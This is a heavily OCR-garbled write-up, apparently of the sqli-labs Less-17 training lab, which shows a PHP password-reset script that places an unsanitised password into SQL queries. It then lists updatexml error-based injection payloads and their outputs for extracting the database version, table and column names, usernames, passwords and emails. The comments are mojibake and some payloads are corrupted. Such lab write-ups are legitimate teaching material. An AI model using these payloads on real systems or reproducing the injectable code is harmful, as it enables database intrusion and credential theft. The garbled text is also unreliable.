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// take the variables//#%% &
// //BEREApostiRZ Munamefpasswd, ZIL: https://www.w3school.com.cn/sql/sql_insert.asp
if(isset($_POST['uname']) && isset($_POST[ 'passwd']))

{
//making sure uname is not injectable//f# M T check_input®&#t, #{# 7T uname RAJyEAN

$uname=check_input($_POST[ 'uname']);
/1735 RAE M passwdit TG uname— kLT 38, SBpasswd T LLIEA
$passwd=$_POST[ 'passwd'];

//logging the connection parameters to a file for analysis.//¥EESHACFB M P H#T .
//fopenBRNRITFF X fresult. txt, BR<a>RASE B MH, ¥ XARNFER AR A
$fp=fopen('result.txt’,'a");

fwrite($fp, 'User Name:'.$uname."\n");

fwrite($fp, 'New Password:'.$passwd."\n");

fclose($fp);

// connectivity //#&iBM:
// sqlE#iEA]
// MFusersHjusernames|fi$unamesT E#lusernamefpassword
// LIMITHIRIR#IsqlEH/ERESRKMEE, LIMIT 0, 138 \SBofLFihiR |l 155 #
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
//mysql_query — Ki%—% MySQL #ifl, HRFEphp5.5.02 BEUEF, # A Tmysqli_queryfIPDO: :query
/79017, WATEM
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';

$rowl = $row[ 'username'];

//echo 'Your Login name:'. $rowl;

//update ll FEMEF KLY, SW: https://www.w3school.com.cn/sql/sql_update.asp

//E#HFusesF i Flpassword N$passwd, FEFF|usernamed $rowl [F4THIfr &

$update="UPDATE users SET password = '$passwd' WHERE username='$rowl'";

// FHXAPATEREAENTERERNH 4, updatafIkEHHIE, Ai#updata, IFEIEEX

mysql_query($update);

echo "<br>";

ARG
uname# it BEVR D B SR AL A 1, B R passwdi A #id g, Al LL%tpasswdiEATIEAN
AR updatexmiR &8EN
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uname=admin&passwd=1" and updatexml(1l,concat(®x7e,(SELECT version()),0x7e),1)#&submit=Submit

¥PATH syntax error:

EHE

uname=admin&passwd=1' and updatexml(1l,concat(0x7e, (SELECT database()),0x7e),1)#&submit=Submit

¥PATH syntax error:

ER~TT LA BB R T AR EER K E

uname=admin&passwd=1' and updatexml(@,concat(@x7e, (SELECT concat(table_name) FROM information_schema.tables
WHERE table_schema='security' )),0)%23&submit=Submit

Subquery returns more than 1 row

FERLIMIT REZHIEHEE
el

uname=admin&passwd=1"' and updatexml(@,concat(@x7e, (SELECT concat(table_name) FROM information_schema.tables
WHERE table_schema='security' limit 0,1)),0)%23&submit=Submit

limit 0,1 FREIEHWMOTFIEHIER — K, HBERE RN emils

XPATH syntax error: ~ emails’

WRTMRALL S, FTRAERR 2 R~limit 3,1~ 2 F 4N R~ R BATEE M Rusers

XPATH syntax error:

=7

uname=admin&passwd=1' and updatexml(®,concat(0x7e, (SELECT concat(column_name) FROM information_schema.
columns WHERE table_name='users' and table_schema='security' limit ©,1)),0)%23&submit=Submit

XPATH svntax error: = id

LIMIT 0.1

DA B ?
XPATH syntax error: username

LIMIT 1,1

XPATH syntax error: ' password

LIMIT 2.1




HIITHFBRAAE

uname=admin&passwd=1' and updatexml(1l,concat(@x7e, (select concat(id,username,password) from security.users
limit 0,1),0x7e),1) %23&submit=Submit

You can t specify target table ' users’

for update in FROM clause

=] & A e 43 A fromis & B8 % 1 B A5 3& users
HHHMERT AIEEE K

uname=admin&passwd=1"' and updatexml(1l,concat(@x7e,(select concat(id,email_id) from security.emails limit
0,1),0x7e),1) %23&submit=Submit

XPATH syntax error: ~ 1Dumb@dhakkan. com =

QI —AF R F R Rtmp A T &, AT CA# SR L A 1 R

uname=admin&passwd=chybeta’' and updatexml(1l,concat(0x7e, (SELECT
group_concat(0x3a,username,0x3a,password,0x23) FROM (select * from users)tmp ),0x7e),1)#&submit=Submit

DA b B A . El
XPATH syntax error: :Dumb:#, :Angelina:#, :Dummy:%, :s

(select * fromusers ) tmp : ABIE—AHFHIRtmp

SELECT group_concat(0x3a,username,0x3a,password,0x23) FROM <% 4> : N #% i K%
updatexml5 & & FR 1], 5 & 3241

Rl B chybeta: https://chybeta.github.io/2017/08/23/Sqli-Labs-Less17-writeup/
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